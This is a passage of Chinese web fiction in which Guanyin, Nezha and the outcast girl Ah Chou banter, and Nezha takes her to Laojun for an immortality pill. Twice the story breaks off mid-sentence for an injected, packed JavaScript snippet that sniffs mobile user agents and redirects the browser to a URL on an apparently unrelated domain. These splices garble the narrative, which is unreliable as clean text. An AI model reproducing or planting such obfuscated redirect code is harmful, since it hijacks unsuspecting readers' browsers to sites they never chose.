她的眼睛是浑浊的,是世人见到后都觉得怪异恐怖的丑陋。那是一双不可以被泪水浸透的眼睛,否则浑浊背后的清澈通透将看穿世间的罪恶,质问诸天神佛的慈悲怜悯是真是假。 世人总祈求神仙降临解决自己的苦难,许下愿往后就开始漫长的等待,那些人甚至,从未见过神仙。 观音仍旧垂眸,视线落在净瓶的柳枝上,只叹一声:“阿弥陀佛。”阿丑能分辨出自己和瓶中阿丑的区别,最终她离开净瓶是依靠破除幻象,而非是净瓶的主人用了法诀。 而观音知晓,瓶中观音因失望离开,自己也会有这样的可能。瓶中阿丑因失去了向善的机会,导致了最后的结局,如果瓶中观音没有离开,而是以神仙身份叱责律法的严苛,说她罪不至此要求释放……算是偏私吗? 又或者,只是说了一句实话? “老婆,从你瓶子里出来后就好奇怪呀。”阿丑歪着脑袋从侧面钻过来,仰着头非要对上观音的眉眼,才对上,却又被避开。 “咦。”阿丑更疑惑了,仔细一想后突然笑了起来,“桀桀桀,我知道了!你一定是还在可怜瓶子里泡在地狱里的我。” 观音错愕,看向阿丑问:“为什么你会这么觉得呢?而不是觉得我在为瓶中那个观音见死不救感到惭愧?” 阿丑很快就回答,说:“如果你觉得那个讨厌的观音是对的,你就不会后悔。如果你觉得那个讨厌的观音是错的,那你就不会那么做,他不是你,你也不是他,你为什么要后悔他做的事?” “……”菩萨错愕,眉目更柔和些许,又问,“即便不是忏悔,又为何是在可怜呢?” “因为你一直都很可怜我,所以肯定也会可怜瓶子里的阿丑。说过我可怜的人很多,他们从来只是嘴上说说,做的事情却很恨我。你可怜我,让我有了老婆,有了干净的屋子,还有暖和的炭火……所以明知道瓶子里是假的,你也可怜我。” “……”欲言又止的朱唇微启,最终抿成一条线。 可怜,本身就是一个向弱者施舍的词。 当一个人能够轻易地、喜悦地说出可怜我三个字时,实在是,太可怜了。 阿丑打了个哈欠,像习惯地那样抱住他,自言自语地说:“那个瓶子看不见阎浮提了,兴许是坏了,等什么时候恢复了,我还要再接着试,哼,我不信只有死路一条!对了,下次看瓶子的时候,让瓶子里的阿丑把哪吒也娶了!桀桀桀,他是杀神,没那么多规矩,皇帝要是想砍我,就让哪吒老婆帮我。” “……”诸多感悟,硬生生被她这声哪吒老婆打断,“哪吒职责降妖除魔,如何帮你打凡人。” “哦……那就找他借火尖枪,我自己去捅了皇帝。” 观音发现,阿丑在说的这些规划里,没有提到向自己求助。这使得又想起瓶中地狱里她说的,因为求一件事不答应,为了避免再被拒绝,今后就都不求了。 “……”被信众们求了千年的观音菩萨,忽觉得空落落。 “桀桀桀——”阿丑则为自己的机智高兴地笑起来,扯过菩萨的衣袖当做被子,就这样睡着了。 那双浑浊的眼睛也已经闭上,菩萨这才重新看向阿丑,又怕那眼睛睁开,变成那透亮璀璨的模样。 阿丑睡着之后,她心里的观音元神则更容易被本体感知到。 也许,也许吧,就是出于这样的缘故,是残缺元神对圆满的渴望,所以观音一手托净瓶,另一只手轻轻地回应了阿丑的拥抱,靠得更近了一些。 从来没有人这样抱着阿丑……不,在她还很小的时候,母亲也曾可怜过她。 睡着了的阿丑感受到这样的拥抱,却是眉头紧皱,呢喃着:“不许给哥哥吃!我饿!我饿!我饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692767|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀!” 原来母亲并不是可怜她,是为了在给哥哥吃东西的时候,吸引她的注意力不去争抢。母亲的怀抱嘛,是孩子最向往的港湾,可是再向往,也比不过活命呀。 “阿丑……”观音轻叹一声。 夜色已经逐渐远去,东方既白,万物复苏。 信宫外吹了许久冷风的哪吒终于调整好情绪又回来了,一进来就看到菩萨端坐在地上,阿丑紧紧搂着菩萨的腰斜靠在肩膀上,而菩萨居然也一只手抱着阿丑!! “……”哪吒脚步一顿,扭头往外走。 重新回到信宫外面的哪吒开始琢磨,有没有什么办法能够让自己留在菩萨和阿丑的身边呢,菩萨嫁给一个丑姑娘就足够稀奇,又是用净瓶阎浮提想帮她规避罪孽的路,又允许一个凡人如此逾越冒犯。 可如果说菩萨会思凡有私心,那也不可能。要说为了度人,又过于特殊了。 自己能厚脸皮跟着一天两天,却没有合适的借口总跟随一起,何况自己不能长久离开天王殿,擅离职守便是触犯天条。 天色渐亮,菩萨也走出了信宫,变成了白须老头的形象,手里端着个陶钵盂,准备去化缘给阿丑吃。 “三太子,你怎还不回天王殿?”菩萨见哪吒在信宫门口踱步,随意询问了一声。 “哦!菩萨啊,你去化缘,阿丑独自一人在这万一又去偷窃干坏事,我帮你盯着,等你化缘回来了,我再回天庭。” 观音摇头,说:“不必,阿丑,可以偷窃。” “啊?”哪吒大为吃惊。 观音亦有感悟,垂眸道:“阿丑可以偷窃,可以行凶。度人之职责,并非不允许她作恶,而是,让她不必作恶。” “哦……”哪吒点头,又改了说辞,“那我也盯一会,万一有人路过把她当妖怪打,又是没必要的事端。” “三太子,你有何事?” “没有,我行善。” 观音没再问,哪吒虽调皮叛逆,总不至于已经纵火在先又犯其他的事。 待老者离开化缘去,哪吒跑进信宫,直接把还在沉睡的阿丑晃醒。 “阿丑,我这有好多供品,我吃不完,都送你了。”哪吒随手一掏,就掏出来诸多瓜果,甚至还有一整只烧鹅。能直接用法术变,何必去化缘那么麻烦呢! 阿丑立刻接过烧鹅就开始啃,又听哪吒说:“阿丑,我比观音大士是不是好多了?我送东西从来不求回报的。” “嗯,可是你打不过他,你法宝还被他一下子就收走了。” “……”哪吒语塞。 “不过,你和其他人打肯定是你厉害。”阿丑桀桀桀笑了笑,将自己的想法道来,“你要不也嫁给我吧,菩萨老婆不让我伤人,你就帮我打架。你要是打妖怪打不赢,就能让菩萨帮你打。” 22. 长生丹药 哪吒出于好奇,很想留下来瞧瞧菩萨是怎么度阿丑的。 他觉得阿丑和自己年少的时候很像,遇到讨厌的人就动手了,有想要的东西就要得到,至于什么对错,有人说孩子呀不能那么做,有人说孩子你可真厉害呀。 他的成长,经历了削肉剔骨的痛,由他曾经的亲人、师父、并肩作战的朋友们为他奔波劳碌,以莲藕重塑肉身,最终成圣封神。 那么,阿丑呢?她没有亲人、朋友、师长,菩萨只是为度她一时的身份关系,她又该如何成长呢。 “嗯我要考虑考虑。”哪吒听到阿丑求娶的提议后很高兴,省得自己编理由了,这样一来,他回去与李靖知会一声,就说是协助菩萨在人间普度行善,李靖肯定会答应的。 不过,他不愿意和菩萨一样,因此说:“阿丑,我之前与你说过,你已经有了老婆,却没有老公,与其多一个老婆,不如要一个老公。这样,别人有老公,你也有了。” 阿丑点点头觉得很有道理,思考后问:“你会问我要一罐子的钱吗?” “要钱做什么?我不需要钱。” 阿丑便高兴地笑了起来,说:“那还是当我老婆吧!原本要一罐子钱才能有一个老婆,要一个老公却不需要钱,说明是老婆更好。既然你不要钱就能当我老婆,不就省下了一罐子钱吗?” “……”哪吒张嘴却反驳不了这个逻辑,就是听在耳朵里奇怪得很,他皱眉嘀咕着,“那我还是要钱吧。” 也不对,还是觉得奇怪。 哪吒还想重新组织语言改变身份,但阿丑已经高高兴兴抱住他,说:“桀桀桀——阿丑我有两个老婆了!比村里所有人都多了!而且两个老婆都是神仙!” 才刚啃了油乎乎的烧鹅,阿丑的手上脸上全是污渍,这么一抱哪吒,污渍就全蹭在哪吒身上了。 “……”哪吒皱眉正想劝说她记得抱人之前先洗手和脸,倒不是嫌弃阿丑脏,即便是身上溅到清水也难免抱怨一句。 他还没开口抱怨,阿丑却先嫌弃,说:“你果然没有菩萨老婆厉害,会被我的手抹脏。” “……”哪吒噎住,反问,“你往我身上抹污渍,还怪我?” 说时仔细一想,观音菩萨大多数时候都是一袭不惹尘埃的白纱,是最容易显出上面污渍的颜色,可阿丑和菩萨在一起那么些时间,菩萨的衣摆也总是很干净。 今日阿丑会问自己,也就说明菩萨从来没在意过阿丑身上的脏污,因为不觉脏污,所以不沾脏污。 “好吧,怪我,怪我,我竟能被一个人弄脏了衣服。”哪吒很快就接受这个逻辑,只是他没有观音的深奥佛法做不到不沾脏污,为示大度,他轻掐法诀将自己的衣服变干净,顺手给阿丑也掐了一个。 阿丑却惊呼:“把衣服弄这么干净这么新,就会有人来抢了!” 哪吒嗤了一声,说:“那是以前,我在这呢,谁敢抢。向来只有我抢别人的份……”哪吒才威风了一句话又左右看了看,说,“不过,我如果帮你打架抢东西这些事,你可不能告诉别人,尤其是菩萨!也都怪我师父,还把收法宝的法诀告诉菩萨。佛祖更过分,给我弄了个塔爹。” “塔爹是什么爹?塔是什么?”阿丑完全听不懂,“师父又是什么,我只知道佛祖是所有僧人的师父,是他们的佛爹吗?是菩萨老婆的娘家人吧?” “哈哈哈哈哈哈哈哈哈!”哪吒抱腹大笑,心里的不痛快一下子就没了,与阿丑解释说,“我以前惹了很多事,很恨我爹,想杀了他。佛祖就用宝塔将我镇压,嗯就是一个黑漆漆的高房子,从那之后宝塔是我爹,李靖嘛,哼,他最好把手和塔黏在一起,我早晚要打他。” 阿丑想起自己的父母,说:“我爹娘抛弃了我,我很讨厌他们,你是为什么呢?” 哪吒的故事可谓人尽皆知,他问:“阿丑,你真的没听过我闹海的故事吗?” 这事哪吒其实不喜欢凡间百姓各处传,可早就传遍了天南地北,真有人不知道吧,又不自在了。 “没有。”阿丑摇头。 哪吒闹海,那是大人们对孩子讲的故事,父母生养你的身躯就有极大的恩德,要听话孝顺,如果你要断弃这层关系,就得做到哪吒的地步。 大人们还是很爱孩子的,所以每次一看到阿丑,就避开了,怕吓到自家的孩子。却不知一个孩子削肉剔骨的故事,比阿丑吓人多了。 阿丑没能蹭听到这个故事,反而是听到不少漂亮神仙给孤苦农人当老婆的故事,都是大人给大人说的,他们说话大声不像给孩子讲故事时温柔,即便是远远地,也能听清楚。 “桀桀桀——”阿丑突然笑了起来,难道现在漂亮神仙要亲自给孤苦的人讲哪吒闹海的故事吗? 哪吒摇头,没有要讲故事的想法。 阿丑看哪吒不说话,以为他是因为想到了爹而伤心,便说:“你给了我很多吃的,你是好神仙!而且,你现在也是我老婆了,如果你要打你爹,我肯定帮你!” 哪吒忍俊不禁,能有人帮忙打李靖自然是高兴的,可她一个凡人哪有那本事,更何况常年吃不饱穿不暖的身板,都不必用什么法宝兵器,神仙吹一口气就化作大风将她吹远了。 这份心意哪吒是领了,说:“我得先去天王殿一趟,否则擅离职守,就会有天兵来押我,那时候就回不来了。”自然不说实话,只说协助菩萨。 “你也要回娘家?是多久回来?”阿丑立刻想起了之前菩萨老婆也说类似的话,回去一天,但她等了几个月。 “……”哪吒一时半会有点适应不了这个新身份,之前还嘲笑菩萨呢,现在自己也成回娘家了,他清了清嗓子有些尴尬说,“不会太久,这样吧,你不必等我,我留个法宝给你。这样我办完了事找你,一下子就能找到。” “我要那个金灿灿的圈圈。”阿丑毫不客气。 哪吒手刚碰到乾坤圈还没摘下来,想起个事情摇头,乾坤圈重六千斤。 金灿灿的风火轮,一个就重一万两千斤。最轻的火尖枪,也有三百斤。 “我把混天绫留给你。”哪吒想到了办法,口诀一念,混天绫从长长的绸缎化作一条发带。 阿丑的头发虽然修剪整理过,披散久了又乱糟糟地。哪吒不会其他的发型,干脆给阿丑扎了自己的同款揪揪,混天绫左右绑着,看上去干净利落了不少。 但是……没了披头散发的遮掩,阿丑那恐怖吓人的面貌也更直观了。 “桀桀桀——我有法宝了!”阿丑非常高兴,神仙有的东西,她也有了!哪怕不知道法宝是什么意义,又如何使用,都无所谓,反正,得有。 哪吒踩上风火轮就要离开,但被阿丑拽住。 阿丑仰着头,一脸理所应当地说:“夫妻分开的时候,你应该用嘴巴碰我的额头。” “……”哪吒大为惊异,他虽名义上答应了当阿丑的老婆,不过是为了凑热闹看菩萨如何度此难度之人,是一个留下来的借口。他是莲藕化身没有情念,从前以后都不会有结个道侣的想法。菩萨是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696921|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度人,他则是为了找点乐子。 实际对阿丑的看法,是个性格和他相近,可以当成朋友的人。 这个举止显然不应该是朋友之间该有的。 哪吒突然古怪一笑,问:“真的?那观音菩萨也这样吗?” 阿丑点头,说:“对呀,他上次回娘家时就是这样的。” “哦!?”哪吒笑得更古怪了,憋着笑可眉毛已经扬起来,嘴角也不由地扯出弧度,“你是说,菩萨亲了你?” 阿丑问:“什么叫亲?” “就是……哈哈哈哈哈哈……”哪吒憋不住笑意,连连摆手说,“没什么没什么,我瞎说的。我回天王殿一趟,会再找你的。”说吧,哪吒就踩着风火轮离开了。 阿丑满头雾水,为什么同样是分别,哪吒老婆不肯进行告别的动作呢? 还在嘀咕,却见哪吒又折返回来,一脸的不嫌事大,说:“对了阿丑,菩萨是不是想让你皈依佛门?佛门清规戒律太多,我知道有个另外的去处,就没那么多规矩。你要是愿意,我直接带你去找老君拿个长生的丹药,便算成了。” “直接给我丹药,长生不老,我什么都不用做?” “对,就和我刚才给你吃供果一样。”哪吒笑着说,给菩萨添乱,也算补偿自己为看热闹要回娘家的怪异了。 “那当然要了,可先说好哦,我不喜欢修行吃苦。” “放心吧,老君很大度的!”哪吒二话不说,拉着阿丑就往天上去。 云雾层层,仙气渺渺。 宫阙巍峨虹光流彩,琉璃瓦片璀璨生辉,阿丑已经看呆,这比皇帝住的宫殿还要漂亮,有一种令人无法移开视线的吸引力。 穿破一层层云梯,来到三十三重离恨天,正是太上老君所在。 兜率宫外,小童子正打着瞌睡,听到动静睁开眼,看到阿丑拉着哪吒,头上还绑着混天绫,吓得连连后退就往兜率宫里跑。 “祖师爷不好啦,有妖怪打上天来了!哪吒都不是对手,被缴了法宝了!” 重重宫门内,一声沉稳乾坤音传出来。 “哪吒,进来吧。”沉稳又不失柔和,可以听出对来者的态度,像是关系还不错。 阿丑还在看天界的云,伸手想要去触碰,却只能碰到一手的水汽。 哪吒带着阿丑走进兜率宫,阿丑看到墙壁上很多很多的宝贝葫芦,各种颜色光彩,格外地好看。 两人直接穿过大殿来到最里面的丹房。 太上老君长须及地,拂尘搭在手臂上,已经知晓哪吒的来意。拂尘一挥,一个宝葫芦飞过来倒出一颗丹药悬浮到阿丑面前。 “呵呵呵,小友乃天地新灵,我有此丹药服下便可跳出生死,不惧地狱苦。但有一个条件。”老君笑呵呵地说。 阿丑刚要去拿的手又顿住。 老君说:“我这要求很简单,服下此丹药,便是入了道门。那么今后,你不可信奉佛法。” 阿丑眉头紧皱,她虽本就不愿意皈依佛门,可被要求不能那么做,又觉得难受。 “阿丑,长生不老,你不要吗?” “我想要长生不老,可是……现在的我,想皈依佛门能皈依,不想皈依佛门就能不皈依,这两件事我都能做。吃了这丹药,就少一件事。” 阿丑考虑了很久,没伸手拿丹药,说:“丹药兴许能偷到,可少我一件事情,将来如果做了,没准又要被罚。” 老君呵呵直摇头,说:“这天底下还没有人能偷我的丹呢。”